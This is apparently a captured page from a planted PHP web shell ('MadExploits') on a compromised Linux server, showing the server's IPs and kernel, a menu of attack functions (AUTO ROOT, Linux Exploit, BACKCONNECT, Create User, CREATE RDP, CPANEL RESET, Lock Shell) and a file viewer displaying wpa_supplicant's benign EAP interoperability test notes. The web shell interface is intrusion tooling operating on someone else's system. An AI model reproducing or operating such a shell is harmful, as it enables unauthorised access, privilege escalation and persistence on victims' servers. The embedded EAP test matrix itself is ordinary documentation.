Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 3.129.216.15
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
wpa_supplicant-2.6 /
[ HOME SHELL ]
Name
Size
Permission
Action
examples
[ DIR ]
drwxr-xr-x
ChangeLog
119.24
KB
-rw-r--r--
README
2.3
KB
-rw-r--r--
eap_testing.txt
14.43
KB
-rw-r--r--
todo.txt
4.43
KB
-rw-r--r--
wpa_supplicant.conf
66.96
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : eap_testing.txt
Automatic regression and interoperability testing of wpa_supplicant's IEEE 802.1X/EAPOL authentication Test program: - Linked some parts of IEEE 802.1X Authenticator implementation from hostapd (RADIUS client and RADIUS processing, EAP<->RADIUS encapsulation/decapsulation) into wpa_supplicant. - Replaced wpa_supplicant.c and wpa.c with test code that trigger IEEE 802.1X authentication automatically without need for wireless client card or AP. - For EAP methods that generate keying material, the key derived by the Supplicant is verified to match with the one received by the (now integrated) Authenticator. The full automated test suite can now be run in couple of seconds, but I'm more than willing to add new RADIUS authentication servers to make this take a bit more time.. ;-) As an extra bonus, this can also be seen as automatic regression/interoperability testing for the RADIUS server, too. In order for me to be able to use a new authentication server, the server need to be available from Internet (at least from one static IP address) and I will need to get suitable user name/password pairs, certificates, and private keys for testing use. Other alternative would be to get an evaluation version of the server so that I can install it on my own test setup. If you are interested in providing either server access or evaluation version, please contact me (j@w1.fi). Test matrix +) tested successfully F) failed -) server did not support ?) not tested Cisco ACS ----------------------------------------------------------. hostapd --------------------------------------------------------. | Cisco Aironet 1200 AP (local RADIUS server) ----------------. | | Periodik Labs Elektron ---------------------------------. | | | Lucent NavisRadius ---------------------------------. | | | | Interlink RAD-Series ---------------------------. | | | | | Radiator -----------------------------------. | | | | | | Meetinghouse Aegis ---------------------. | | | | | | | Funk Steel-Belted ------------------. | | | | | | | | Funk Odyssey -------------------. | | | | | | | | | Microsoft IAS --------------. | | | | | | | | | | FreeRADIUS -------------. | | | | | | | | | | | | | | | | | | | | | | | EAP-MD5 + - - + + + + + - - + + EAP-GTC + - - ? + + + + - - + - EAP-OTP - - - - - + - - - - - - EAP-MSCHAPv2 + - - + + + + + - - + - EAP-TLS + + + + + + + + - - + + EAP-PEAPv0/MSCHAPv2 + + + + + + + + + - + + EAP-PEAPv0/GTC + - + - + + + + - - + + EAP-PEAPv0/OTP - - - - - + - - - - - - EAP-PEAPv0/MD5 + - - + + + + + - - + - EAP-PEAPv0/TLS + + - + + + F + - - + + EAP-PEAPv0/SIM - - - - - - - - - - + - EAP-PEAPv0/AKA - - - - - - - - - - + - EAP-PEAPv0/PSK - - - - - - - - - - + - EAP-PEAPv0/PAX - - - - - - - - - - + - EAP-PEAPv0/SAKE - - - - - - - - - - + - EAP-PEAPv0/GPSK - - - - - - - - - - + - EAP-PEAPv1/MSCHAPv2 - - + + + +1 + +5 +8 - + + EAP-PEAPv1/GTC - - + + + +1 + +5 +8 - + + EAP-PEAPv1/OTP - - - - - +1 - - - - - - EAP-PEAPv1/MD5 - - - + + +1 + +5 - - + - EAP-PEAPv1/TLS - - - + + +1 F +5 - - + + EAP-PEAPv1/SIM - - - - - - - - - - + - EAP-PEAPv1/AKA - - - - - - - - - - + - EAP-PEAPv1/PSK - - - - - - - - - - + - EAP-PEAPv1/PAX - - - - - - - - - - + - EAP-PEAPv1/SAKE - - - - - - - - - - + - EAP-PEAPv1/GPSK - - - - - - - - - - + - EAP-TTLS/CHAP + - +2 + + + + + + - + - EAP-TTLS/MSCHAP + - + + + + + + + - + - EAP-TTLS/MSCHAPv2 + - + + + + + + + - + - EAP-TTLS/PAP + - + + + + + + + - + - EAP-TTLS/EAP-MD5 + - +2 + + + + + + - + - EAP-TTLS/EAP-GTC + - +2 ? + + + + - - + - EAP-TTLS/EAP-OTP - - - - - + - - - - - - EAP-TTLS/EAP-MSCHAPv2 + - +2 + + + + + + - + - EAP-TTLS/EAP-TLS + - +2 + F + + + - - + - EAP-TTLS/EAP-SIM - - - - - - - - - - + - EAP-TTLS/EAP-AKA - - - - - - - - - - + - EAP-TTLS/EAP-PSK - - - - - - - - - - + - EAP-TTLS/EAP-PAX - - - - - - - - - - + - EAP-TTLS/EAP-SAKE - - - - - - - - - - + - EAP-TTLS/EAP-GPSK - - - - - - - - - - + - EAP-TTLS + TNC - - - - - + - - - - + - EAP-SIM + - - ? - + - ? - - + - EAP-AKA - - - - - + - - - - + - EAP-AKA' - - - - - - - - - - + - EAP-PSK +7 - - - - + - - - - + - EAP-PAX - - - - - + - - - - + - EAP-SAKE - - - - - - - - - - + - EAP-GPSK - - - - - - - - - - + - EAP-FAST/MSCHAPv2(prov) - - - + - + - - - + + + EAP-FAST/GTC(auth) - - - + - + - - - + + + EAP-FAST/MSCHAPv2(aprov)- - - - - + - - - - + + EAP-FAST/GTC(aprov) - - - - - + - - - - + + EAP-FAST/MD5(aprov) - - - - - + - - - - + - EAP-FAST/TLS(aprov) - - - - - - - - - - + + EAP-FAST/SIM(aprov) - - - - - - - - - - + - EAP-FAST/AKA(aprov) - - - - - - - - - - + - EAP-FAST/MSCHAPv2(auth) - - - - - + - - - - + + EAP-FAST/MD5(auth) - - - - - + - - - - + - EAP-FAST/TLS(auth) - - - - - - - - - - + + EAP-FAST/SIM(auth) - - - - - - - - - - + - EAP-FAST/AKA(auth) - - - - - - - - - - + - EAP-FAST + TNC - - - - - - - - - - + - LEAP + - + + + + F +6 - + - + EAP-TNC +9 - - - - + - - - - + - EAP-IKEv2 +10 - - - - - - - - - + - 1) PEAPv1 required new label, "client PEAP encryption" instead of "client EAP encryption", during key derivation (requires phase1="peaplabel=1" in the network configuration in wpa_supplicant.conf) 2) used FreeRADIUS as inner auth server 5) PEAPv1 required termination of negotiation on tunneled EAP-Success and new label in key deriviation (phase1="peap_outer_success=0 peaplabel=1") (in "IETF Draft 5" mode) 6) Authenticator simulator required patching for handling Access-Accept within negotiation (for the first EAP-Success of LEAP) 7) tested only with an older (incompatible) draft of EAP-PSK; FreeRADIUS does not support the current EAP-PSK (RFC) specification 8) PEAPv1 used non-standard version negotiation (client had to force v1 even though server reported v0 as the highest supported version) 9) only EAP-TTLS/EAP-TNC tested, i.e., test did not include proper sequence of client authentication followed by TNC inside the tunnel 10) worked only with special compatibility code to match the IKEv2 server implementation Automated tests: FreeRADIUS (2.0-beta/CVS snapshot) - EAP-MD5-Challenge - EAP-GTC - EAP-MSCHAPv2 - EAP-TLS - EAP-PEAPv0 / MSCHAPv2 - EAP-PEAPv0 / GTC - EAP-PEAPv0 / MD5-Challenge - EAP-PEAPv0 / TLS - EAP-TTLS / EAP-MD5-Challenge - EAP-TTLS / EAP-GTC - EAP-TTLS / EAP-MSCHAPv2 - EAP-TTLS / EAP-TLS - EAP-TTLS / CHAP - EAP-TTLS / PAP - EAP-TTLS / MSCHAP - EAP-TTLS / MSCHAPv2 - EAP-TTLS / EAP-TNC (partial support; no authentication sequence) - EAP-SIM - LEAP Microsoft Windows Server 2003 / IAS - EAP-TLS - EAP-PEAPv0 / MSCHAPv2 - EAP-PEAPv0 / TLS - EAP-MD5 * IAS does not seem to support other EAP methods Funk Odyssey 2.01.00.653 - EAP-TLS - EAP-PEAPv0 / MSCHAPv2 - EAP-PEAPv0 / GTC - EAP-PEAPv1 / MSCHAPv2 - EAP-PEAPv1 / GTC Note: PEAPv1 requires TLS key derivation to use label "client EAP encryption" - EAP-TTLS / CHAP (using FreeRADIUS as inner auth srv) - EAP-TTLS / MSCHAP - EAP-TTLS / MSCHAPv2 - EAP-TTLS / PAP - EAP-TTLS / EAP-MD5-Challenge (using FreeRADIUS as inner auth srv) - EAP-TTLS / EAP-GTC (using FreeRADIUS as inner auth srv) - EAP-TTLS / EAP-MSCHAPv2 (using FreeRADIUS as inner auth srv) - EAP-TTLS / EAP-TLS (using FreeRADIUS as inner auth srv) * not supported in Odyssey: - EAP-MD5-Challenge - EAP-GTC - EAP-MSCHAPv2 - EAP-PEAP / MD5-Challenge - EAP-PEAP / TLS Funk Steel-Belted Radius Enterprise Edition v4.71.739 - EAP-MD5-Challenge - EAP-MSCHAPv2 - EAP-TLS - EAP-PEAPv0 / MSCHAPv2 - EAP-PEAPv0 / MD5 - EAP-PEAPv0 / TLS - EAP-PEAPv1 / MSCHAPv2 - EAP-PEAPv1 / MD5 - EAP-PEAPv1 / GTC - EAP-PEAPv1 / TLS Note: PEAPv1 requires TLS key derivation to use label "client EAP encryption" - EAP-TTLS / CHAP - EAP-TTLS / MSCHAP - EAP-TTLS / MSCHAPv2 - EAP-TTLS / PAP - EAP-TTLS / EAP-MD5-Challenge - EAP-TTLS / EAP-MSCHAPv2 - EAP-TTLS / EAP-TLS Meetinghouse Aegis 1.1.4 - EAP-MD5-Challenge - EAP-GTC - EAP-MSCHAPv2 - EAP-TLS - EAP-PEAPv0 / MSCHAPv2 - EAP-PEAPv0 / TLS - EAP-PEAPv0 / GTC - EAP-PEAPv0 / MD5-Challenge - EAP-PEAPv1 / MSCHAPv2 - EAP-PEAPv1 / TLS - EAP-PEAPv1 / GTC - EAP-PEAPv1 / MD5-Challenge Note: PEAPv1 requires TLS key derivation to use label "client EAP encryption" - EAP-TTLS / CHAP - EAP-TTLS / MSCHAP - EAP-TTLS / MSCHAPv2 - EAP-TTLS / PAP - EAP-TTLS / EAP-MD5-Challenge - EAP-TTLS / EAP-GTC - EAP-TTLS / EAP-MSCHAPv2 * did not work - EAP-TTLS / EAP-TLS (Server rejects authentication without any reason in debug log. It looks like the inner TLS negotiation starts properly and the last packet from Supplicant looks like the one sent in the Phase 1. The server generates a valid looking reply in the same way as in Phase 1, but then ends up sending Access-Reject. Maybe an issue with TTLS fragmentation in the Aegis server(?) The packet seems to include 1328 bytes of EAP-Message and this may go beyond the fragmentation limit with AVP encapsulation and TLS tunneling. Note: EAP-PEAP/TLS did work, so this issue seems to be with something TTLS specific.) Radiator 3.17.1 (eval, with all patches up to and including 2007-05-25) - EAP-MD5-Challenge - EAP-GTC - EAP-OTP - EAP-MSCHAPv2 - EAP-TLS - EAP-PEAPv0 / MSCHAPv2 - EAP-PEAPv0 / GTC - EAP-PEAPv0 / OTP - EAP-PEAPv0 / MD5-Challenge - EAP-PEAPv0 / TLS Note: Needed to use unknown identity in outer auth and some times the server seems to get confused and fails to send proper Phase 2 data. - EAP-PEAPv1 / MSCHAPv2 - EAP-PEAPv1 / GTC - EAP-PEAPv1 / OTP - EAP-PEAPv1 / MD5-Challenge - EAP-PEAPv1 / TLS Note: This has some additional requirements for EAPTLS_MaxFragmentSize. Using 1300 for outer auth and 500 for inner auth seemed to work. Note: Needed to use unknown identity in outer auth and some times the server seems to get confused and fails to send proper Phase 2 data. - EAP-TTLS / CHAP - EAP-TTLS / MSCHAP - EAP-TTLS / MSCHAPv2 - EAP-TTLS / PAP - EAP-TTLS / EAP-MD5-Challenge - EAP-TTLS / EAP-GTC - EAP-TTLS / EAP-OTP - EAP-TTLS / EAP-MSCHAPv2 - EAP-TTLS / EAP-TLS Note: This has some additional requirements for EAPTLS_MaxFragmentSize. Using 1300 for outer auth and 500 for inner auth seemed to work. - EAP-SIM - EAP-AKA - EAP-PSK - EAP-PAX - EAP-TNC Interlink Networks RAD-Series 6.1.2.7 - EAP-MD5-Challenge - EAP-GTC - EAP-MSCHAPv2 - EAP-TLS - EAP-PEAPv0 / MSCHAPv2 - EAP-PEAPv0 / GTC - EAP-PEAPv0 / MD5-Challenge - EAP-PEAPv1 / MSCHAPv2 - EAP-PEAPv1 / GTC - EAP-PEAPv1 / MD5-Challenge Note: PEAPv1 requires TLS key derivation to use label "client EAP encryption" - EAP-TTLS / CHAP - EAP-TTLS / MSCHAP - EAP-TTLS / MSCHAPv2 - EAP-TTLS / PAP - EAP-TTLS / EAP-MD5-Challenge - EAP-TTLS / EAP-GTC - EAP-TTLS / EAP-MSCHAPv2 - EAP-TTLS / EAP-TLS * did not work - EAP-PEAPv0 / TLS - EAP-PEAPv1 / TLS (Failed to decrypt Phase 2 data) Lucent NavisRadius 4.4.0 - EAP-MD5-Challenge - EAP-GTC - EAP-MSCHAPv2 - EAP-TLS - EAP-PEAPv0 / MD5-Challenge - EAP-PEAPv0 / MSCHAPv2 - EAP-PEAPv0 / GTC - EAP-PEAPv0 / TLS - EAP-PEAPv1 / MD5-Challenge - EAP-PEAPv1 / MSCHAPv2 - EAP-PEAPv1 / GTC - EAP-PEAPv1 / TLS "IETF Draft 5" mode requires phase1="peap_outer_success=0 peaplabel=1" 'Cisco ACU 5.05' mode works without phase1 configuration - EAP-TTLS / CHAP - EAP-TTLS / MSCHAP - EAP-TTLS / MSCHAPv2 - EAP-TTLS / PAP - EAP-TTLS / EAP-MD5-Challenge - EAP-TTLS / EAP-MSCHAPv2 - EAP-TTLS / EAP-GTC - EAP-TTLS / EAP-TLS Note: user certificate from NavisRadius had private key in a format that wpa_supplicant could not use. Converting this to PKCS#12 and then back to PEM allowed wpa_supplicant to use the key. hostapd v0.3.3 - EAP-MD5-Challenge - EAP-GTC - EAP-MSCHAPv2 - EAP-TLS - EAP-PEAPv0 / MSCHAPv2 - EAP-PEAPv0 / GTC - EAP-PEAPv0 / MD5-Challenge - EAP-PEAPv1 / MSCHAPv2 - EAP-PEAPv1 / GTC - EAP-PEAPv1 / MD5-Challenge - EAP-TTLS / CHAP - EAP-TTLS / MSCHAP - EAP-TTLS / MSCHAPv2 - EAP-TTLS / PAP - EAP-TTLS / EAP-MD5-Challenge - EAP-TTLS / EAP-GTC - EAP-TTLS / EAP-MSCHAPv2 - EAP-SIM - EAP-PAX PEAPv1: Funk Odyssey 2.01.00.653: - uses tunneled EAP-Success, expects reply in tunnel or TLS ACK, sends MPPE keys with outer EAP-Success message after this - uses label "client EAP encryption" - (peap_outer_success 1 and 2 work) Funk Steel-Belted Radius Enterprise Edition v4.71.739 - uses tunneled EAP-Success, expects reply in tunnel or TLS ACK, sends MPPE keys with outer EAP-Success message after this - uses label "client EAP encryption" - (peap_outer_success 1 and 2 work) Radiator 3.9: - uses TLV Success and Reply, sends MPPE keys with outer EAP-Success message after this - uses label "client PEAP encryption" Lucent NavisRadius 4.4.0 (in "IETF Draft 5" mode): - sends tunneled EAP-Success with MPPE keys and expects the authentication to terminate at this point (gets somewhat confused with reply to this) - uses label "client PEAP encryption" - phase1="peap_outer_success=0 peaplabel=1" Lucent NavisRadius 4.4.0 (in "Cisco ACU 5.05" mode): - sends tunneled EAP-Success with MPPE keys and expects to receive TLS ACK as a reply - uses label "client EAP encryption" Meetinghouse Aegis 1.1.4 - uses tunneled EAP-Success, expects reply in tunnel or TLS ACK, sends MPPE keys with outer EAP-Success message after this - uses label "client EAP encryption" - peap_outer_success 1 and 2 work
Close